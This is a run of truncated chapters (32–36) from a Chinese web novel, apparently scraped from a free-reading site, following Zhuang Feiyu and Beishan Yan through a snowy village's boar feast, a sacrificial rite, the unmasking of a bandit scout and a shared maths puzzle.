当她捡起两根笔直的树枝,想着要用哪根作为雪人鼻子时,金穗端着碗和筷子过来,脸颊红扑扑的,请她吃猪头肉的第一口。 庄非鱼一把扔下树枝,欢喜接过碗筷,不顾蒸腾的热气,迫不及待咬了一大口。 “好吃!” 她眼睛一亮。 野猪肉没放太多调料,不知是自己饿久了,还是掌勺的人有独门秘方,尝起来肥而不腻,软糯鲜香。 刚出锅的肉热气腾腾,她被烫得伸出舌尖,边嘶哈驱赶热气,边飞快夹着筷子往嘴里送。 三两下就吃完碗里所有的肉。 得到她的认可,金穗开心地接过碗筷: “我再给姐姐和哥哥切上几块,还有陈婶送的热馒头。” 她转身向厨房走去,庄非鱼跟了过去。 厨房里沸反盈天,人挤着人地站着,庄非鱼挤不进去,只能堪堪站在门口,向里张望。 金家的土灶已经够大了,可还是炖不下这头200斤的野猪。 锅里只煮着猪头,和一些切散的前腿肉。 剩下的都被村里人切好,生肉挂在厨房窗前,挂了整整一排。 见她过来,拎着大锅盖的高瘦老汉热情招呼: “您就是捡到这头野猪的姑娘?” 其他几人原本背对着,听了这话纷纷转过身去。 “哎呦,这运气真是好,人长得也标致。” 朴实的大婶端着盆捞肉,捞上一块后禁不住夸她。 “快,给姑娘先捞上一盆,让她吃的饱饱的。” 几个人你一言我一句,夸得庄非鱼差点以为自己是什么欧皇转世。 她受不住这泼天的热情,眼看金穗切好了肉食 32. 风雪言欢 《反派,但决定摆烂》全本免费阅读 见庄非鱼大口吃肉,北山鄢放下筷子,提醒她: “少吃些,小心积食。” “好好好。” 庄非鱼头也不抬,顺手把装肉的小盆向前推了推: “你也吃呀,两三天都没怎么吃饭,肯定饿坏了。” 北山鄢掰了一小块馒头,回忆道: “这不算饿。那年我在雪山上寻找丹心灯草,暴风雪来了,被埋在雪洞里七天没有进食,那时可比现在饿多了。” 庄非鱼边吃边问:“丹心灯草是什么?” “一味药材,只有最虔诚的人才能寻到它。” “那你肯定找不到。”庄非鱼语气笃定。 “为什么?”北山鄢疑惑。 “你可不像虔诚的人。” 庄非鱼笑言。 十岁就能骗九天玄女的人,怎么会虔信神明? 她摇了摇头,挟起一块温热的肉放进嘴里。 北山鄢微微一笑,道: “我摘到了。” 怀着最虔诚的恨意。 七天七夜,在极夜的雪山上,在冰雪塑成的洞里,没有畏惧,没有痛苦,只有一腔恨意支撑。 恨比爱恒久,他向来明白。 “哇!”庄非鱼惊叹,用一旁筷子给他夹了块大大的五花肉,“那更得多吃点了。” 接着低头,继续埋头猛吃。 北山鄢垂了垂眸,见庄非鱼大快朵颐,担心她吃坏肚子,便继续说: “有一年我在鄢州,见过和你一样爱吃肉的人。” “谁呀,男的女的?” 庄非鱼吃的已有八分饱,但还是忍不住往嘴里塞。 饿了两天两夜后,她选择报复性干饭。 “那年鄢州大旱,我奉旨赈灾,一个瘦骨嶙峋的小男孩从人群中冲出来,拦轿下跪……” “他求你什么?” 庄非鱼好奇发问,将自己对五花肉的兴趣勉强分出一丝给北山鄢。 “他求我将他绑在祭坛上,献祭给神明,求神明降雨。 我摇头拒绝了他,给他粮食让他回去。 没过几天,我又路过那里,看见他和赈灾粮一同煮在锅里,脸颊在浊汤里浮浮沉沉。” “嘶!”庄非鱼浑身一激灵,放下筷子。 再看盆里的猪耳朵,只觉一阵难受。 北山鄢端起粥喝了一口,道: “饿了这么些天,本就不该大食荤腥。” 庄非鱼一口肉都吃不下去了,提心吊胆问他:“然后呢?” “我将他捞上来时,他已经神志不清,一半皮肤都脱落下来了。” 北山鄢放下碗筷,回忆道, “他叫秦小刀,现在在盛京,每顿能吃三碗饭,你以后会见到他的。” 听到小孩还活着,庄非鱼松了一口气,她再也吃不下饭,索性撂了筷子,问北山鄢: “那鄢州呢?” “鄢州滴雨未下,人们吃树皮,吃观音土,最后易子而食。两年时间,鄢州饿死了近百万人。第三年,昊天大帝引黄河入鄢,灌溉半个州的田地,鄢州这才平稳下来。” 北山鄢边收拾桌子,边回答她。 残留的热气模糊他的眼眉,他想起那日昊天上帝覆手为雨,浩浩荡荡自天际而来的黄河之水。 那是他这辈子都无法忘却的景象。 在他收拾的间隙,庄非鱼一直托腮沉默着。 直到碗筷放好,她才垂着眼睛下去,将狼藉的托盘带回厨房。 厨房里,金穗和金禾坐在小矮凳上,兴高采烈地分食一块肥肉。 庄非鱼勉强扬起笑,问道: “你们平时在哪儿洗碗?” “姐姐,你给我就好。” 金穗见她进来,立马撂下筷子,快步迎上来,接过木托盘, “等后锅的水凉些,我一道洗。” 庄非鱼推辞几下,就要挽起袖子开干,金穗急了,和金禾一起把她推出厨房。 雪地里,庄非鱼哭笑不得,只好放下袖子回房。 金禾已将带有余温的炭灰放入炕里,房间里暖烘烘的,庄非鱼幸福地吸了一大口气,轻车熟路地脱下披风,爬上炕。 天已经黑了,房间没有点灯,只有月光皎洁,迷迷蒙蒙照着房间。 庄非鱼也迷迷蒙蒙地躺下。 躺了一会儿,她实在睡不着,又没手机可玩,于是翻身坐起,问北山鄢: “你一整天都这样坐着,不会觉得无聊吗?” “不会,”北山鄢摇了摇头,“有大把的事可想。” “有什么可想啊?”庄非鱼百无聊赖,“你给我讲讲呗。” “比如近日的大雪,” 北山鄢轻抬下巴,示意庄非鱼看向窗外: “瑞雪兆丰年,明年一定有好收成。” “这我知道。” 庄非鱼点了点头, “因为积雪有保温功能。” 所有文科专业里,她学得最好的就是地理了。 “也有积雪融化,灌溉田地的缘故。” 北山鄢接过话,又补充一句: “再往北到邵国,那里的人称雪水为肥水,每逢大雪便载歌载舞,祭祀霜雪之神。” “因为雪水富含氮化物,有营养。” 庄非鱼解释道。 “怪道雪水有奇香。” 北山鄢笑言, “宫中有位娘娘口刁,煮茶非梅间雪不可,冰雪还不能融化。有年夏天酷热,冰窖存的雪很快用完了,她硬是小半年没喝过茶。” “喝茶对水还有要求?”庄非鱼不懂。 北山鄢答道: “茶性借水而发,雪水清冽,露水轻润,山泉甘纯,不同的水有不同的滋味。” 没想到泡个茶还有这么多门道…… 庄非鱼听得晕晕乎乎,听完摊了摊手,诚实道: “我就喝不出任何区别来。” “煮雪喝茶喝的是风雅。”北山鄢莞尔。 两人靠得有些近,透过月光,他看到庄非鱼的眼睛亮晶晶的。 她有一缕发丝粘在睫毛上,随眼睛扑闪上下翻转。 北山鄢忍不住伸手,将那几根头发捋到她的耳后,接着顺手,弹了庄非鱼脑门一下。 庄非鱼愣了一下,然后瞪大眼睛,吼他: “你又敲我?敲傻了怎么办?” 她有仇当场就报,绷起指节也狠狠弹北山鄢一下。 北山鄢向后一躲,没躲开,疼得伸手去揉,这才显出几分少年的天真气来。 庄非鱼一击得中,兴奋地仰起身,一手撑床,一手在空中挥舞,伺机再弹他一下。 “好了好了,我向你道歉,你有喜欢喝的茶吗?改天我专程煮茶为你赔罪。” 北山鄢抓住她的胳膊,笑着求饶。 “我喜欢喝奶茶,加奶盖那种,你煮得出来嘛?” 庄非鱼白了他一眼,不情愿地收回手。 “想喝什么,我都为你煮。” 北山鄢笑着承诺。 庄非鱼没把他的话当真。天南地北聊了这么久,又打闹了一会儿,她打了个哈欠,开始困了。 “不跟你玩了,我要睡了。” 她伸了个懒腰,心满意足躺回去。 北山鄢失笑,替她拉上窗帘,挡住扰人的月光。 * 第二天天刚蒙蒙亮,庄非鱼就被吵醒。 带着早起的火气,她紧皱眉头,半睁开眼。 北山鄢已经起身,他小心挪到床沿,尽量不吵醒庄非鱼。 可庄非鱼还是醒来了。 “这大清早的,又发生什么事了?” 她烦躁地呼了一口气,起床气拉满。 “村里人来借肉,我去回绝他们。” 北山鄢一边答话,一边披起大氅,拄起庄非鱼给他找的木杖。 “肉……” 庄非鱼迷迷瞪瞪念了一声,手指无意识地抓住北山鄢的白色大氅。 “再抓着我不放,你的肉可就被分完了。” 北山鄢低头,伸手点了点她的手背,好笑地逗她。 “谁敢!” 庄非鱼瞪大眼睛,用力坐起来,气势汹汹地下床,双脚胡乱蹬进靴子,穿着单薄的衣服就要出门。 一整套动作行云流水,看呆了北山鄢,他来不及劝阻,只好先给庄非鱼披上大氅,免得她出门挨冻。 庄非鱼一手抓着大氅系带,登登几声跑出房间,看见满院提着篮子端着碗盆的 33. 村野祭神 《反派,但决定摆烂》全本免费阅读 村里的青壮提起撅头,带上镰刀,跟着庄非鱼浩浩荡荡出发。 走了有一公里路,庄非鱼看路程差不多了,便默念一句: “系统,给我兑换一只200斤的大野猪,再来三只100斤左右的小野猪,放到我的正北方向50米处。” “嘀——投放成功,扣您50星币。”系统欢快答应。 系统刚说完,庄非鱼就拽住身边黑瘦的青年,大声道: “我听到野猪的声音了,就在前面!” “前面?” 几个憨厚老实的青年对视一眼,立刻绷紧肌肉,扛起农具,大踏步冲刺过去。 第一个跑过去的精瘦小子眼睛一亮,大吼一声: “就在这里,有四头野猪!” 四头野猪原本呆立在林中,见有人来抓它,求生的本能让它们撒开蹄子,四散奔走。 庄非鱼见状,焦急大喊: “快,快围住它们,别让猪跑了!” 她快步如飞,却因披着北山鄢长长的大氅,险些绊倒在地。 村里的青壮也慌了,一群人顾头不顾尾,看大猪凶猛便去抓大猪,见小猪要跑又去抓小猪,你推我我撞你,场面一度混乱至极。 村里青壮抓得毫无章法,当野猪快要逃走时,庄非鱼急了。 她一把扯下北山鄢的大氅,扔到树枝上,声嘶力竭地指挥: “金禾,还有你旁边那两个,抓你们前面的小猪;那个穿黑衣服的,你和提棍子的盯紧你们身后的小猪;剩下的人,全给我去抓大猪!” 听到指挥,青壮们这才瞄准目标,专心对付庄非鱼指定的野猪。 有一只小猪慌不择路,哼哼着朝庄非鱼撞过来,庄非鱼一把夺过身边人的农具,几撅头下去,小猪就晕头晕脑倒在地上。 又混战了好一会儿,三头野猪皆受伤倒地,唯有一只挣扎着跑远,三五个青年扛着锄头去追,剩下人高高兴兴抬起猎物,欢呼着回去。 这场捕猎,让村民都心服口服,庄非鱼也一跃成为如意村的孩子王。 孩子们送给她草编的蚂蚱,冻硬的鸟蛋,珍惜到放蔫的苹果,以及铺着砂土的木板。 “这是我哥以前写字用的,你看——” 小孩伸出长着冻疮的手指,在砂土上写了个歪歪扭扭的“人”字。 “你哥的东西拿来送给我?小心你哥打你!” 庄非鱼佯装恐吓,轻轻拍了小孩脑袋一下。 “才不会,我哥早就不念书了。” 小孩吸了吸鼻涕,嘿嘿一笑。 时近中午,村民们开始宰猪分肉,几个村妇找了几口大锅,架起高高的柴火准备煮肉。 村长抽着旱烟,吧嗒吧嗒走过来,对庄非鱼说: “庄姑娘,肉要煮了,你看上哪些?尽管拿。” 庄非鱼随手指了指,道: “给我两条猪后腿就行。” “你要熟的还是生的?” 村长回头看了看,道, “咱这边天气冷,熟的吃到来年开春没问题,生的自己回去开灶也行。” “煮熟的吧。”庄非鱼答。 北山鄢行动不便,她自己不会做饭,金穗金禾又是小孩子,当然蹭村里大灶划算。 村长点了点头,道: “村上灶你放心,保管让你吃好!” 肉要煮好还得几个时辰,村里族老开始准备祭祀事宜。庄非鱼和村长寒暄两句,告别孩子后,便早早跑回去,去看吴大娘带来的轮椅。 等她踏进院子,远远就看见北山鄢披着白色披风,背对院门,端坐于轮椅中。 庄非鱼的坏心眼冒出来了。 这么好的机会,不吓吓他多可惜? 她带着坏笑,扯了扯大氅系带,踮起脚尖,小心翼翼地走到北山鄢身后,悄悄伸出双手…… 怎料她刚伸出指尖,胳膊就被人出其不意地捉住。 庄非鱼眼睛一花,随着一阵天旋地转,身体被扯着仰倒下去,直直落入北山鄢的怀中。 两只手腕都被北山鄢握住,脑袋被牢牢固定在他双腿之上,系带随动作扯开,披风和头发一同散落。 庄非鱼用力往回抽手,没挣脱。 脸颊贴紧住他的双腿,她甚至能感受到北山鄢身躯的温热。 庄非鱼艰难仰头,忿忿望向北山鄢: “可恶!我的计划天衣无缝,怎么会被你发现?” 北山鄢仗着手骨大,一只手倒腾过去,抓住她两只手腕,眼神带着些许得意。 “你忘了这个。” 他缓缓低头,发丝垂落下来,用深深的阴影盖住她的视线。 “什么?”庄非鱼茫然。 “影子啊。”北山鄢笑了。 庄非鱼呆呆地望着,从他微微上翘的唇角,望到长长低垂的睫毛,最后坠入那深海般的眼神里。 当他独独看着你,世界便安静下来。 在这一瞬间,她理解了黎颂对北山鄢的执着。 见庄非鱼像鹌鹑一样一动不动,北山鄢忍俊不禁,伸出指尖点了点她的眉心。 微微麻痒拉回庄非鱼的思绪。 她红着脸颊,连忙挣脱束缚,撑着轮椅把手站起来。 “晚上祭祀,村长让我们也过去。” 她假装无事发生,一边拢起披风,整理散乱的头发,一边对北山鄢说。 “看来晚上能大饱口福了。”北山鄢悠然道。 “为什么?”庄非鱼不懂。 “乡村祭祀,躲不过一个‘吃’字,尤其是我们的大功臣,猎回四只猎物,更得大吃一顿了。”他笑得促狭。 “我才不想吃。”庄非鱼锤了他一拳,“上次叫你一通吓,我都快戒了肉了。” “肉吃太多,本就会厌食。” 北山鄢点了点她的手背, “多亏我吓了吓你,没让你彻底忌口。” “才不信你的鬼话,我从小就这么吃过来的。” 庄非鱼撇了撇嘴,系好衣带,走到北山鄢身后,猛地推起轮椅,兴奋大喊: “走,我带你飙个轮椅。” 她俯身作出冲刺的姿势,然后腿一蹬,推动轮椅快步跑起来,北山鄢顾不得反应,就被冬日寒风吹得睁不开眼睛。 “慢……慢点!” 他握紧轮椅扶手,张口喊。 寒风胡乱拍打到他脸上,一张嘴说话就是满口的冰沫。 这点可怜的、破碎的求饶,很快就被压制在庄非鱼猖狂的大笑中。 冬日的雪地柔软平滑,庄非鱼推着北山鄢,像滑雪一样,一溜烟滑到祀堂。 两人到祀堂门口时,天已经蒙蒙黑了,周围挤满了吃席的村民,高声叫嚷的、低声私语的齐聚一堂,热闹极了。 庄非鱼混在人群中,趴在轮椅背上大口喘气,难掩兴奋神色。北山鄢则松开紧握的扶手,平复剧烈的心跳。 过了一会儿,两 34. 贪心不足 《反派,但决定摆烂》全本免费阅读 “行走江湖,带刀也正常。”北山鄢微微一笑,道,“是猫是虎,一试便知。” 庄非鱼顿时兴奋起来。 北山鄢这个人,作为敌人你会寝食难安,可作为队友…… 她已经迫不及待要去观战了! 庄非鱼推轮椅快步跑过去,短短几步路,愣是被她推出百米冲刺的架势。 冲到独臂男子身边时,她猛地刹车,北山鄢踉跄一下,向前仰去。 两人以这种方式出场,惊到几个闲汉。 他们止住话题,盯着兴致勃勃的庄非鱼,和满身狼狈的北山鄢。 北山鄢无奈,理了理散乱的衣襟,向众人拱手道: “在下和拙荆玩闹,冲撞几位大哥了。” 这群闲汉对视一眼,哈哈大笑道: “什么冲不冲撞的。” “哈哈哈哈,小两口还是感情好。” 听众人打趣,庄非鱼不好意思地摸摸了鼻尖。 独臂男子眼中精光闪烁,待众人笑罢,他站出来对北山鄢道: “公子瞧着不像本地人?” 北山鄢抱拳行礼道: “在下沧州人氏,携妻友赴京赶考,无奈大雪封路,和友人失散,还摔伤了腿……” 听到进京赶考四字,众闲汉肃然起敬。 “原来是位秀才公。”独臂男子惊叹道。 他摆了摆手臂,似乎不知道往哪里放。 “不敢当。” 北山鄢客气两句,继续问: “诸位兄台消息灵通,可有从外面回来的?可知路通了没有?” 一个黑脸闲汉揣手笑着抢答: “站在你面前的这位万兄弟,才从外地过来,来我们村收药材的。” 外地的药商,却操着本地口音? 庄非鱼在一旁吃瓜,听到这里,不由腹诽。 不过这个纰漏也是无奈,他要敢说自己是本地的,十里八乡亲戚遍布,稍微一句说不对,就有人出来打假。 不如假托为外地客商。 一个走南闯北的商人,精通多地方言也很合理。 倘若庄非鱼没看见他裤腰带里那把刀,兴许也会被骗过去。 “那我真是问对人了!” 北山鄢拊掌大笑道: “敢问兄台手头可有黄芪、五味子或何首乌?在下前些日子摔伤了腿,急需这三味药壮筋补骨。没有的话,来些活血化瘀的知母、黄柏也行。” 独臂男子瞪着牛大的眼睛,呆愣一下,大声叹气: “唉,大雪封山前,周围的药材都卖光了。我连着转了三个村,半根都没收到。” 收药材的药商,竟不知这五味药,没有一味对症? 北山鄢眼神玩味,嘴上却直道可惜。 两句叹罢,他话锋一转,道: “兄台既然能从外面进来,是不是说——路已经通了?” “没通!”独臂男子连连摆手,“我也是大雪前进来的。” “这位兄弟是个有本事的人。” “他可是从两界山那边进来的。” “还是运气好,赶上刘地主刚清剿完土匪,才这么容易进来。” 几个闲汉加入话题。 北山鄢直起身子,疑惑问到: “两界山有何特殊?” “你不知道?两界山可是土匪窝,蚊子过去都得扒两层皮。” 闲汉们纷纷哄笑。 笑闹声太大,一群小孩子被吸引过来。 孩子们追逐打闹,嬉戏着来到庄非鱼面前,牵起她的手: “小鱼小鱼,我们去打雪仗!” “我不去,你们自己玩吧。” 庄非鱼吃瓜正尽兴,根本不想离开。 “去嘛去嘛~”几个小孩抓住她,向外扯。 庄非鱼被拖拽着,将求助的眼神投向北山鄢,北山鄢摊摊手,丢给她一个爱莫能助的表情。 在七八个孩子的簇拥下,两人目光交汇,一个不舍,一个揶揄,落到他人眼中,活脱脱一对新婚燕尔难舍难分的好夫妻。 直到庄非鱼的背影化进雪地里,北山鄢才笑着收回眼神。 旁观的独臂男子调侃道: “你家娘子虽然暴力,对你的感情倒是深。” 北山鄢皱起眉尖,立刻反驳: “万兄此言差矣,我家小鱼端庄淑雅,温柔娴静,怎么能说她暴力呢?” 这对一个淑女来说是多么大的伤害呀! 另一边,远离人群的庄非鱼狞笑着,团起一个大大的雪团。 打雪仗是吧。 今天让你们这些小屁孩见识一下,什么叫打雪仗之王! 半个小时后,庄非鱼神清气爽回来,身后跟着一群小哭包。 在孩子们此起彼伏的哭声中,北山鄢笑弯了腰。 “恭喜小鱼凯旋而归。” 他连连拱手,笑不可抑。 “小意思。” 庄非鱼拍了拍手,像一个莫得感情的幼儿杀手。 天色已近黑沉,如意村的小伙点燃篝火,姑娘架起灯笼。 农夫扛着桌椅板凳过来。农妇擦好桌子,摆肉上桌。 其余人等停下闲谈,三三两两坐过来。大家都自觉找好位置,老人一桌、小孩一桌、喝酒的一桌、不喝酒的一桌。 庄非鱼、北山鄢和那个独臂男子坐在一桌。 他们都是外地人。 待众人坐好,村长站在祠堂前,锣鼓一敲,长喊道: “蒙神之恩,狩猎得胜。第一碗,先敬神明。” 言毕,四个高大的厨子过来,提起祭案上的生猪头。 两个厨子拿起菜刀,对小童示意一眼。小童捧着锃亮的盘子,接在猪头肉下。 随着刀刃嗖嗖作响,一片片生肉落入盘中,不一会儿,两个盘子就装满了。 装满生脍的盘子,被小童摆到昊天神像面前。 另一边,两个厨子架起柴火,将猪头放在铁架上,涂满蜂蜜,小火慢烤。 待外层猪肉烤至焦黄,厨子旋转着切下烤熟的部分,供至神前,继续涂上蜂蜜烘烤。 庄非鱼本来不饿,但这烧烤的动作愣是让她看饿了。 她戳了戳北山鄢,问: “祭完神,祭神肉会端下来给我们吃吗?” 她想吃涂了蜂蜜的烤肉。 北山鄢摇了摇头,一旁独臂男子笑道: “祭给神的肉,人怎么能沾染?” “这么多肉,难道就放在那里腐烂?” 庄非鱼直呼可惜。 村民自己过得都捉襟见肘,常年吃不上一口肉,好不容易猎到四头猪,竟然供奉给昊天这么多? “姑娘还是天真。”独臂男子啧啧两声: “神明掌管吾等生老病死、世代轮回,莫说这小小猎物——若能博神明欢心,老婆儿子都能献祭。” “平宵年间便是如此。” 北山鄢垂眸道: “泽国平宵帝为求长生,曾献祭血脉三百余人, 35. 我要小鱼 《反派,但决定摆烂》全本免费阅读 宴席结束后,两人告别独臂男子,慢悠悠走回去。 庄非鱼推着轮椅,踢着路边石子,脸颊还带着薄红。 她对北山鄢说: “村里那个酒挺好喝的,就是度数太低,还没上头就喝完了。” “村里拢共就酿了那点苹果酒,拿出来尝尝鲜罢了,哪能叫你敞开了喝?”北山鄢调侃她。 庄非鱼嘀嘀咕咕道: “我看神像那边摆了满满四桶,还以为是给大家喝的呢,闹半天又是祭祀用的。” “习俗如此,无可奈何。” 北山鄢摊了摊手,劝慰她: “你若实在想喝,等积雪消了,我买些烈酒予你。” “你哪里有钱?” 庄非鱼好笑地望着他的发冠,发冠间的竹节簪早就抵给金穗了,如今固定发冠的木簪只是一根随便的树枝。 “该有时自然会有。” 北山鄢微微一笑,对她说: “如意村往北有少邑山和少戎山,合称两界山。山上有个土匪窝,方才那位万兄弟,就是少戎山土匪窝的探子。” “是那个两界山?”庄非鱼停下步子问他。 打从那群闲汉说到这个话题时,她就有这个预感。 “没错,”北山鄢点了点头: “今年秋天,少邑山土匪劫掠过路客商,不慎惹怒当地大户,大户将其围剿,惹得少戎山土匪无法猫冬,所以大雪后出来踩点,打算找个富裕村子过个肥年。” “果然是土匪!” 庄非鱼握住拳头,“我们得赶快告诉村长,让他提前把粮食藏好。” 说完就要掉转轮椅。 “哎——” 北山鄢赶忙制止她。 “现在过去小心打草惊蛇,不如等明日探子走后再做准备。” “要不我们去把探子打晕绑起来,让他没法回去通风报信。” 庄非鱼沉思一下,提出一个歪主意。 “咳咳咳,”北山鄢右手拢到唇边,忍不住咳嗽两声。 咳嗽完,他无奈道: “土匪见他不归,必然再派探子过来,还是等他走后再告诉村长罢。如意村毗邻两界山,能在土匪窝边生存下来,村长定有他的办法。” “也是……”庄非鱼点了点头,突然发现他身上披的大氅短了一截。 她走到北山鄢前面,蹲下来捻起他的衣角: “你这披风怎么如此眼熟?” 像是我那件。 “这要问你了,出门时为何如此莽撞?”北山鄢无奈。 “我说今天怎么感觉衣服绊脚。” 原来是披错衣服了。 庄非鱼心虚地摸了摸鼻尖,道: “我们快回去吧,免得你着凉了。” 庄非鱼老老实实推轮椅回去,进屋后北山鄢仍在咳嗽,她不放心,就问金穗要了杯热水,洒了点感冒药进去,端给北山鄢。 “喝点热水,能防风寒。” 她将药递给北山鄢。 北山鄢接过水杯,一饮而尽。 水中熟悉的苦味,让他明白这是味药。 过了一会儿,他的咳嗽渐消,庄非鱼亦洗漱完,爬上暖暖的床铺后,好奇问他: “那么多人里,你是怎么一眼看出土匪的?” “本能如此。”北山鄢紧了紧外衣,笑道: “自幼时起,每当我进入一个新环境,就会观察其中人物,猜测他的过去,推演他的未来。” “每一个人?”庄非鱼惊诧。 “每一个人。”北山鄢答。 “你这个技能也太……”庄非鱼停了一下,不知如何形容。 她干脆换了个角度问: “你是怎么做到的?” “大概是因为,我的脑中有足够多的人物,来为我思考。”北山鄢指了指自己的脑袋: “每当我遇到一个新奇的人,就会长时间去观察他,与他交谈,模拟他的思维,直到这个人在我脑海中具象,变成一个实实在在的人。” “这是什么手段?”庄非鱼惊奇道,“难道他们在你脑袋里排排坐,你需要哪个,哪个就会出来帮你出主意?” “何止,”北山鄢头疼地揉了揉脑袋,“遇见复杂情况,他们还会一同出动,站在我面前争辩。” “哇!” 庄非鱼激动地睁圆眼睛。 这思维太神奇了,她以前从未见过这样的。 “你是怎么调动他们的?是像魂魄附身一样,完全换了一种思维吗?” “不,”北山鄢摇头: “如这次宴席。当我看到土匪第一眼,东宫曾经的绣娘便在我耳边说:那人的衣物和其他村民不同。 我的武术师傅说:他的断臂齐整,像是被人用刀斩断;他的重心始终在两脚之间,像是练武之人。 一位善相面的友人说:他的眼神时常闪烁,看上去一直在计较盘算,可这不是商人,商人的眼神更加游移,偶露狡光,他的眼神露凶光。 还有他的姿态,佯装成圆滑的粗俗……” 庄非鱼一直听着,听到这里恍然大悟: 原来,他是把见过的人的数据都记录下来,等数据量足够模拟那人的思维后,就在脑子里建立一个模型,平时挂在后台休眠,遇见bug了就自启动,弹出对话框,供他调取信息做参考。 这不纯纯AI行为? 不过也没毛病,北山鄢本来就是AI。 北山鄢解释完,将这种识人术称之为“狡黠”。 不值一提的狡黠。 庄非鱼几乎尖叫出声。 这哪里是狡黠?这分明是算法的交互,科技的飞跃! 我说人工智能要统治世界吧! 她压抑住澎湃的心情,忙不迭问北山鄢: “其他人也会和你一样思考吗?” 北山鄢摇头道: “我见过的多数人,思考是自然而然产生的。” “啊?” 庄非鱼愣住了。 所以只有北山鄢有这个待遇,能调用其他NPC的信息? 这是妥妥的主角待遇吧。 好想掀开他的脑壳,看看里面的构造。 不晓得是chatGPT那样的神经网络模型,还是什么别的。 庄非鱼望着北山鄢的脑袋出神。 北山鄢被她盯着,背后莫名有些发凉。 他伸出手,在庄非鱼眼前晃了晃: “看什么呢?这么出神。” “啊?”庄非鱼聚焦回眼神,眼珠一转道: “我在看你的簪子,太简陋了。” 光秃秃一根树枝,上面什么也没有,完全配不上这张脸。 她跪坐起身,轻轻拔掉北 36. 两界山倾 《反派,但决定摆烂》全本免费阅读 庄非鱼跑到村长家里,从两人发现的纰漏,到北山鄢的推断,原原本本给村长讲了一遍。 村长吧嗒吧嗒抽着旱烟,等庄非鱼说完,他重重一敲烟背,眉头紧锁道: “姑娘说的话我都记下了,正好晌午,就留下用顿便饭吧。” 说罢,他高喊一声: “老婆子,今晌加两个硬菜,有贵客在。” 庄非鱼不停拒绝,说家里还有人等着,可耐不住村长热情,只好坐上饭桌。 吃完饭她问村长: “村子里平时遇见土匪会怎么做呢?” 村长安慰她: “你甭怕,我们这边的村子,都有藏人的地方,土匪轻易寻不到。” 庄非鱼心想: 我才不害怕呢,大不了花星币买个一次性群体防护。 不过村里有办法最好,省点星币还能换头野猪。 又过了一日,听说那个独臂男子离开了,村长立马召集家家户户的青壮,将消息告知大家。 金穗家去的人是金禾。 当庄非鱼的小猫木簪雕到一半时,金禾面色凝重,带着金穗来到她的房中,对他们说: “我们村可能要进土匪了,村长让各家各户藏好粮食,带上干粮,去挖好的地洞里躲几天。” “好。” 庄非鱼随口答应一声,继续低头雕木簪。 “你怎么不害怕?”金禾惊讶极了。 他看庄非鱼的眼神都不对了。 “这消息还是我告诉村长的。” 庄非鱼好笑地敲了敲他的脑袋。 敲完她突然意识到不对。 怎么自己也被北山鄢传染,开始敲人脑袋了? 这个坏习惯必须打住! “你是怎么看出土匪的?” 金穗睁圆眼睛,好奇问她。 “主要是那位目光如炬。” 庄非鱼怒了努嘴,示意他们看向北山鄢。 北山鄢正拿铺砂土的木板在计算。 看两人实在好奇,庄非鱼只好边打磨小猫耳朵,边讲给他们听。 讲完后,两个小孩子用极崇拜的目光看了看北山鄢,又回头看了看庄非鱼。 “姐姐好厉害!” 金穗握住拳头。 庄非鱼笑着问: “你们打算带什么干粮?” “我们想把剩下的面都蒸成馒头,肉和粮食埋进雪里。” 金禾仰着黑红的脸颊大声回答。 “好,” 庄非鱼伸了伸腰,放下木簪道: “我来给你们帮忙。” 厨房已经占满了,没有地方揉面,庄非鱼便把桌上雕了一半的发簪收拢起来,将满桌的木渣擦干净,端来面盆,放上案板。 金禾在厨房烧火,她和金穗一起揉面。 刚打扫干净坐下,北山鄢便举起手中板子,对庄非鱼扬了扬: “答案是-1,对么?” “你是怎么算出来的?!” 庄非鱼站起身来,瞪大眼睛跑过去看。 她本来不想和北山鄢聊数学的。 但北山鄢实在烦人。 今天早上,她在桌边雕小猫簪子,雕着雕着觉得无聊,就让北山鄢给她讲故事。 北山鄢说讲故事没意思,非要给她讲《诗经》,陶冶她的情操。 一开始,庄非鱼兴致勃勃听着,听到有意思的地方,还和北山鄢讨论两句。 讲到《北门》一诗时,北山鄢叹息小吏位卑禄薄,庄非鱼作为除魔司最底层的斥候,忍不住吐槽: “所以你们都知道衙门公务多、俸禄少,为什么还不涨薪?” “中央地方,六部十三司,四处都是用钱的地方,朝廷度支有限……” 北山鄢解释着,看庄非鱼的眼神逐渐凶残,识趣地换了一首。 讲到《兔爰》时,北山鄢本想表达“乱世之中君子之苦”,没想到庄非鱼理直气壮来了一句: “我说应该躺平吧!” 气得北山鄢想敲她脑袋。 庄非鱼是故意和他对着干的。 好好的诗歌,有那么多有趣的讲法,北山鄢偏要讲最无聊、最能让她血压升高的那种。 他讲《毛诗》和朱熹的解读! 高中学《氓》时,庄非鱼还记得老师讲的:这是一首说婚姻悲剧的诗,是批判礼教束缚的诗,告诫女孩子结婚要慎重。 朱熹却在《诗集注》中说:“此□□为人所弃,而自叙其事以道其悔恨之意也。” 尽管北山鄢一再强调:他引用毛诗和朱熹只是为了多方阐释,这是目前最主流的注释评析。 但庄非鱼还是听不下去,她索性放下刻刀和木簪,对北山鄢眯眼一笑: “不如我出道题给你解?” 为了堵上他的嘴,庄非鱼特意想了一个微积分的入门题,看起来简单,但没听过课很难做出来那种。 果然清净了半个时辰。 北山鄢大部分时间都在苦思冥想,写写画画,偶尔问她几个问题,待她解答后,又埋头计算。 直到金穗进来说蒸馒头,题方才算好。 庄非鱼跑过去望向砂土板,看上面密密麻麻写着什么“垛积”、“觚”、“率”,画着各种扇形。 “这是怎么求出来的?” 庄非鱼好奇问他。 “此题暗合刘徽的割圆术和沈括的会圆术……” 北山鄢微微一笑,给她解释。 庄非鱼很是惊叹。 用古老的数学概念,加上她随口几句点拨,北山鄢还真就做出题了! 这不天生学数学的好材料吗? 庄非鱼见猎心喜,忍不住说: “你真的太适合学数学了!等我再给你出一道。” 我要把我的数学知识倾囊相授! 北山鄢却抬手制止她: “蒸完馒头再说。” 庄非鱼这才发现,自己揉面揉到一半突然跑过来,手里还攥着一个面剂子呢。 北山鄢放下砂土板,去一边清洗双手,挽袖过来: “我和你们一起做。” “欢迎欢迎!” 庄非鱼用腿顶走凳子,给北山鄢挪了一个大大的空位。 两人一边做馒头一边聊天,金穗在一旁睁着圆圆的眼睛仔细听。 北山鄢三下五除二,团出一个圆圆的面剂子。他将面剂子放到一边的竹篦子上,问庄非鱼: “这题莫非有更简便的解法?” “岂止简单!” 庄非鱼笑得像一只狐狸。 “我从圆的面积给你讲。” 两人越聊越来兴致,金穗在一旁揉着面团,不知怎么回事,越听越瞌睡。 她两只眼皮不停打架,似乎有一股神秘的力量,将她朝案板上拉。 